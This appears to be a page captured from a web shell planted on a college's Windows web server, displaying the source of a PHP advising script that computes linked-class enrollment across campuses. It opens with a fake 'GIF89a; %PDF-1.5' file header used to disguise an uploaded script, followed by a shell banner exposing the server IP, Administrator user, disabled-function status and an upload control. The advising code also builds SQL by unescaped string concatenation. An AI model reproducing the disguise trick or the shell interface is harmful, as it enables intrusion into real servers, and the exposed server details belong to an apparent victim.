GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/Advising/ |
Upload File : |
<? // Admin/Advising/Advising_Class_Calc.phpinc // phpinc_filename_purpose. $d_O = d_O(); #d_On(); // Uncomment to DEBUG. d_Line(basename(__FILE__)); // Get classes. d_Var('$COU_ID_List',listAnd($COU_ID_List),''); if ( $COU_ID_List == '' ) $COU_ID_List = '999999'; $query = " SELECT YRTR, COU_ID, SUBJ, NBR, SECT, TITLE, CRHR, CRMAX, INSTR_TYPE, ENR, EMAX, GRADE_METH, COU_START, COU_END, campus, IsDropped FROM `pclass` WHERE YRTR = '".query_safe($_SESSION['YRTR']['User'])."' AND COU_ID IN ( ".$COU_ID_List." ) ORDER BY SUBJ, NBR, SECT "; d_Var('pclassResult',$query,'q'); $pclassResult = query_do($query); $pclassResultCount = $_SESSION['qry']['count']; d_Var('$pclassResultCount',$pclassResultCount,''); d_Var('$pclassResult',$pclassResult,''); /** / AND COU_ID IN ( ".$COU_ID_List." ) /**/ $wdEBUGclasses = array();//'1026','1021'); // Put the result into an array. $PCLASS = array(); $Pindex = 0; $CSTunlinked = array('1802', '2802'); // CST classes that are not linked across campuses. $MMDTunlinked = array(); // MMDT classes that are not linked to CST classes. if ( $pclassResultCount ) { // Are there available classes? mysqli_data_seek($pclassResult, 0); while ($pclassRow = mysqli_fetch_assoc($pclassResult)) { // Loop thru class result. $PCLASS[$Pindex] = $pclassRow; $PCLASS[$Pindex]['TENR'] = $pclassRow['ENR']; $PCLASS[$Pindex]['MMAX'] = $pclassRow['EMAX']; $Pindex++; } // Loop thru class result. d_Var('$PCLASS',$PCLASS); // Calculate TENR (combined enrollment) and MMAX (maximum enrollment) for all linked classes. for ( $Cindex=0; $Cindex<count($PCLASS); $Cindex++ ) { // Loop thru PCLASSes. if ( in_array($PCLASS[$Cindex]['NBR'],$wdEBUGclasses) ) d_Var("\$PCLASS[$Cindex]['SUBJ']",$PCLASS[$Cindex]['SUBJ'],'/i'); if ( in_array($PCLASS[$Cindex]['NBR'],$wdEBUGclasses) ) d_Var("\$PCLASS[$Cindex]['NBR']",$PCLASS[$Cindex]['NBR'],'i'); if ( in_array($PCLASS[$Cindex]['NBR'],$wdEBUGclasses) ) d_Var("\$PCLASS[$Cindex]['campus']",$PCLASS[$Cindex]['campus'],'i'); if ( in_array($PCLASS[$Cindex]['NBR'],$wdEBUGclasses) ) d_Var("\$PCLASS[$Cindex]['SECT']",$PCLASS[$Cindex]['SECT'],'i'); for ( $Pindex=0; $Pindex<count($PCLASS); $Pindex++ ) { // Loop thru PCLASSes to check for link. if ( $Cindex != $Pindex ) { // Is this not the same class? if ( in_array($PCLASS[$Cindex]['NBR'],$wdEBUGclasses) && in_array($PCLASS[$Pindex]['NBR'],$wdEBUGclasses) ) d_Var("\$PCLASS[$Pindex]['SUBJ']",$PCLASS[$Pindex]['SUBJ']); if ( in_array($PCLASS[$Cindex]['NBR'],$wdEBUGclasses) && in_array($PCLASS[$Pindex]['NBR'],$wdEBUGclasses) ) d_Var("\$PCLASS[$Pindex]['NBR']",$PCLASS[$Pindex]['NBR']); if ( ( $PCLASS[$Cindex]['SUBJ'] == 'CST' && !in_array($PCLASS[$Cindex]['NBR'],$CSTunlinked) ) // Is the first a CST linked class --or-- || ( $PCLASS[$Cindex]['SUBJ'] == 'MMDT' ) && !in_array($PCLASS[$Cindex]['NBR'],$MMDTunlinked) ) { // is the first a MMDT linked class? if ( in_array($PCLASS[$Cindex]['NBR'],$wdEBUGclasses) && in_array($PCLASS[$Pindex]['NBR'],$wdEBUGclasses) ) d_Var("\$PCLASS[$Pindex]['campus']",$PCLASS[$Pindex]['campus']); if ( in_array($PCLASS[$Cindex]['NBR'],$wdEBUGclasses) && in_array($PCLASS[$Pindex]['NBR'],$wdEBUGclasses) ) d_Var("\$PCLASS[$Pindex]['SECT']",$PCLASS[$Pindex]['SECT']); if ( $PCLASS[$Cindex]['NBR'] == $PCLASS[$Pindex]['NBR'] ) { // Are the class numbers the same? if ( in_array($PCLASS[$Cindex]['NBR'],$wdEBUGclasses) && in_array($PCLASS[$Pindex]['NBR'],$wdEBUGclasses) ) { if ( stripos($PCLASS[$Pindex]['campus'],'Hutchinson') !== false ) d_Var("\$PCLASS[$Cindex]['SECT'] + 20",$PCLASS[$Cindex]['SECT'] + 20); if ( stripos($PCLASS[$Pindex]['campus'],'Willmar') !== false ) d_Var("\$PCLASS[$Cindex]['SECT'] - 20",$PCLASS[$Cindex]['SECT'] - 20); } if ( ( stripos($PCLASS[$Pindex]['campus'],'Hutchinson') !== false && $PCLASS[$Pindex]['SECT'] == $PCLASS[$Cindex]['SECT'] + 20 ) // Is this a Hutchinson class with a SECT number 20 greater --or-- || ( stripos($PCLASS[$Pindex]['campus'],'Willmar') !== false && $PCLASS[$Pindex]['SECT'] == $PCLASS[$Cindex]['SECT'] - 20 ) // a Willmar class with a SECT number 20 less. ) { // Link the classes. if ( in_array($PCLASS[$Cindex]['NBR'],$wdEBUGclasses) && in_array($PCLASS[$Pindex]['NBR'],$wdEBUGclasses) ) d_Line('Add '.$PCLASS[$Pindex]['ENR'].' to '.$PCLASS[$Cindex]['TENR'].'.'); $PCLASS[$Cindex]['TENR'] += $PCLASS[$Pindex]['ENR']; //$PCLASS[$Pindex]['TENR'] += $PCLASS[$Cindex]['ENR']; if ( $PCLASS[$Cindex]['MMAX'] < $PCLASS[$Pindex]['MMAX'] ) $PCLASS[$Cindex]['MMAX'] = $PCLASS[$Pindex]['MMAX']; //if ( $PCLASS[$Pindex]['MMAX'] < $PCLASS[$Cindex]['MMAX'] ) $PCLASS[$Pindex]['MMAX'] = $PCLASS[$Cindex]['MMAX']; } // Is this a Hutchinson class with a SECT number 20 greater --or-- a Willmar class with a SECT number 20 less. } // Are the class numbers the same? } // Is the first a CST linked class --or-- is the first a MMDT linked class? } // Is this not the same class? } // Loop thru PCLASSes to check for link. } // Loop thru PCLASSes. } // Are there available classes? // Calculate TENR (total enrollment) for classes that are linked. // Any CST class in Hutchinson except above are linked to the CST class in Willmar if the NBR is the same and the SECT number is 20 less. // Any CST class is linked to MMDT classes if the NBR and SECT are the same. // Get $PCLASS meeting times, $PCLASS notes, Campus filter, WeekdayBegin, and WeekdayEnd. $Campuses = array(); $WeekdayBegin = 9; $WeekdayEnd = -1; $DayTimeBegin = 24; $DayTimeEnd = 0; $wd = array( 'U'=>0, 'M'=>1, 'T'=>2, 'W'=>3, 'H'=>4, 'F'=>5, 'S'=>6); // Weekdays: Sunday(U) thru Saturday(S). if ( count($PCLASS) ) { // Are there any classes? foreach ( $PCLASS as $index => $class ) { // Loop thru classes. if ( !in_array($class['campus'],$Campuses) ) $Campuses[] = $class['campus']; // Add the campus if new. // BEGIN Add class meetings. // Get the class meetings. $query = " SELECT YRTR, COU_ID, numb, MTG_START, MTG_END, DAYS, BEGIN, END, BLDG, ROOM, INSTRUCTOR FROM `pclassmeeting` WHERE YRTR = '".query_safe($class['YRTR'])."' AND COU_ID = '".query_safe($class['COU_ID'])."' ORDER BY numb "; d_Var('pclassmeetingResult',$query,'q'); $pclassmeetingResult = query_do($query); $pclassmeetingResultCount = $_SESSION['qry']['count']; d_Var('$pclassmeetingResultCount',$pclassmeetingResultCount,''); d_Var('$pclassmeetingResult',$pclassmeetingResult,''); $PCLASS[$index]['meeting'] = array(); if ( $pclassmeetingResultCount ) { // Are there class meetings? mysqli_data_seek($pclassmeetingResult, 0); while ( $pcmRow = mysqli_fetch_assoc($pclassmeetingResult) ) { // Loop thru class meetings. if ( $pcmRow['BEGIN'] ) { $BEG = substr($pcmRow['BEGIN'],0,5); $begin = ( substr($BEG,0,2) + 0 ) + ( substr($BEG,3,2) + 0 ) / 60; if ( $begin < $DayTimeBegin ) $DayTimeBegin = $begin; //d_On(); d_Line('$BEG == '.$BEG.' $begin == '.$begin,'d'); d_Off(); } else { $BEG = ''; $begin = 'NULL'; } if ( $pcmRow['END'] ) { $END = substr($pcmRow['END'],0,5); $end = ( substr($END,0,2) + 0 ) + ( substr($END,3,2) + 0 ) / 60; if ( (int)($end+.917) > $DayTimeEnd ) $DayTimeEnd = (int)($end+.917); //d_On(); d_Line('$END == '.$END.' $end == '.$end,'d'); d_Off(); } else { $END = ''; $end = 'NULL'; } $PCLASS[$index]['meeting'][$pcmRow['numb']] = array( 'numb'=>$pcmRow['numb'], 'MTG_START'=>$pcmRow['MTG_START'], 'MTG_END'=>$pcmRow['MTG_END'], 'DAYS'=>$pcmRow['DAYS'], 'BEGIN'=>$BEG, 'END'=>$END, 'BLDG'=>$pcmRow['BLDG'], 'ROOM'=>$pcmRow['ROOM'], 'INSTRUCTOR'=>$pcmRow['INSTRUCTOR'], 'begin'=>$begin, 'end'=>$end, 'daynumb'=>array() ); $classDays = str_replace(' ','',$pcmRow['DAYS']); for ( $d=0; $d<strlen($classDays); $d++ ) { // Loop thru meeting days. $w = substr($classDays,$d,1); if ( isset($wd[$w]) ) { // Is this a weekday? $PCLASS[$index]['meeting'][$pcmRow['numb']]['daynumb'][] = $wd[$w]; // Add daynumber to class meeting. if ( $wd[$w] < $WeekdayBegin ) $WeekdayBegin = $wd[$w]; if ( $wd[$w] > $WeekdayEnd ) $WeekdayEnd = $wd[$w]; } else { // Is this a weekday? d_On(); d_Line('UNKNOWN weekday ['.$w.'] encountered.','e'); if ( isset($d_O) && !$d_O ) d_Off(); } // Is this a weekday? } // Loop thru meeting days. } // Loop thru class meetings. } // Are there class meetings? // END Add class meetings. // BEGIN Add class notes. $query = " SELECT numb, NOTE FROM `pclassnote` WHERE YRTR = '".query_safe($class['YRTR'])."' AND COU_ID = '".query_safe($class['COU_ID'])."' ORDER BY numb "; d_Var('pclassnoteResult',$query,'q'); $pclassnoteResult = query_do($query); $pclassnoteResultCount = $_SESSION['qry']['count']; d_Var('$pclassnoteResultCount',$pclassnoteResultCount,''); d_Var('$pclassnoteResult',$pclassnoteResult,''); $PCLASS[$index]['note'] = array(); if ( $pclassnoteResultCount ) { // Are there class notes? mysqli_data_seek($pclassnoteResult, 0); while ( $pcnRow = mysqli_fetch_assoc($pclassnoteResult) ) { // Loop thru class notes. if ( $pcnRow['NOTE'] != '' ) $PCLASS[$index]['note'][] = $pcnRow['NOTE']; } // Loop thru class notes. } // Are there class notes? // END Add class notes. } // Loop thru classes. } // Are there any classes? // DEBUG. $d_O = d_O(); #d_On(); // Uncomment to DEBUG. $wdEBUG_PCLASS = false; if ( $wdEBUG_PCLASS ) d_On(); if (d_O()) { // Is DEBUG on? foreach ( $PCLASS as $class ) { // Loop thru classes. if ( $wdEBUG_PCLASS || in_array($class['NBR'],$wdEBUGclasses) ) { // Is this one of the class NBRs to DEBUG? d_Line($class['COU_ID'].' '.$class['SUBJ'].' '.$class['NBR'].' '.$class['SECT'].' ENR='.$class['ENR'].' TENR='.$class['TENR'].' EMAX='.$class['EMAX'].' MMAX='.$class['MMAX'],'l'); } // Is this one of the class NBRs to DEBUG? } // Loop thru classes. } // Is DEBUG on? if ( isset($d_O) && !$d_O ) d_Off(); ?>